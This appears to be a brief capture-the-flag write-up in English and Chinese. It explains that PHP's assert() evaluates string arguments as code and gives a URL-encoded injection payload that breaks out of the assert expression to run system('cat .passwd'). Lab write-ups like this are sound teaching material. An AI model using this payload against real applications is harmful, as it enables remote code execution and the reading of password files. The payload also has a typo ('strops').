Find and exploit the vulnerability to read the file .passwd.-------------查找并利用此漏洞读取文件.passwd。
assert:
这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
开始挑战后,随便加点,让代码报错
根据报错提示,拼接payload:
Payload:
%27,%27...%27)%20===false%20and%20%20system(%27cat%20.passwd%27)%20and%20strops(%27